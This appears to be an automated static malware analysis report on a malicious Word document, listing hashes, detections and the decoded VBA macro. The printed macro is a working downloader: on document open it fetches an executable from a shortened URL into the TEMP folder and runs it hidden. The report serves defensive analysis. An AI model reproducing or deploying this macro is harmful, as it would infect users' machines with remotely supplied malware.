Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5e9007306c9d9439…

MALICIOUS

Office (OOXML)

811.4 KB Created: 2014-09-14 18:48:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2014-11-24
MD5: 3dfd823ee1bc57a7293afbf73074f5f8 SHA-1: 168cd0bc5e07032c1adacb154ad217e4095f73de SHA-256: 5e9007306c9d9439a65a4a45c9349a59843fa95301e9d0e428aaab6d0abbf384
366 Risk Score

Heuristics 10

  • ClamAV: Doc.Trojan.Xshell-6923080-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xshell-6923080-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell p0tngou3yor & "\" & "rsrs.exe", vbHide
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
                    Alias "URLDownloadToFileA" (ByVal imbuIdb4x As Long, _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell p0tngou3yor & "\" & "rsrs.exe", vbHide
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    p0tngou3yor = Environ("TEMP")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/iX/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://bit.ly/1triXdfReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1652 bytes
SHA-256: d6403db0ea698ed7ed5ee8fe4649cdc5e2efcb3195806cd0d8283c1c6c0f0180
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Hdfr45iuoyr _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal imbuIdb4x As Long, _
                                            ByVal F3KQJvZvL As String, _
                                            ByVal GeBiKVj35 As String, _
                                            ByVal LeMCQnPgP As Long, _
                                            ByVal SOIrsyJYk As Long) As Long

Sub SiGa4rtiongi()
    C0rlinge34
End Sub
Sub Auto_Open()
    SiGa4rtiongi
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

Sub G4wringro(asd As String)
Dim p0tngou3yor As String

p0tngou3yor = Environ("TEMP")
Hdfr45iuoyr 0, asd, p0tngou3yor & "\" & "rsrs.exe", 0, 0

Shell p0tngou3yor & "\" & "rsrs.exe", vbHide
End Sub

Sub asdsadadasdasdsadasdasdsadasdasdasdsadasdasdasdasdasdsadasdsasdassad()

End Sub
Sub C0rlinge34()
On Error Resume Next
Dim sendie45uis As String
Dim a As String
Dim aa As String
Dim jadsadasjdajsdjasdjas As String
Dim asdjasdjas9ddnasudiasbdiasud As String: Dim asadjasdasdasdasd As String
sendie45uis = Environ("TEMP")
Kill sendie45uis & "\rsrs.exe"
Dim Sgwamyu64 As String
Sgwamyu64 = "http://bit.ly/1triXdf"

Call G4wringro(Replace(Sgwamyu64, " ", ""))

End Sub

Sub GLsapqirr()
    SiGa4rtiongi
End Sub
Sub FTBgUhEPj()
    SiGa4rtiongi
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 1d13531a5f2d97539f870a7969bd983a211334dce3260aa3fe99447e01e1535f
Detection
ClamAV: Doc.Trojan.Xshell-6923080-0
Obfuscation or payload: unlikely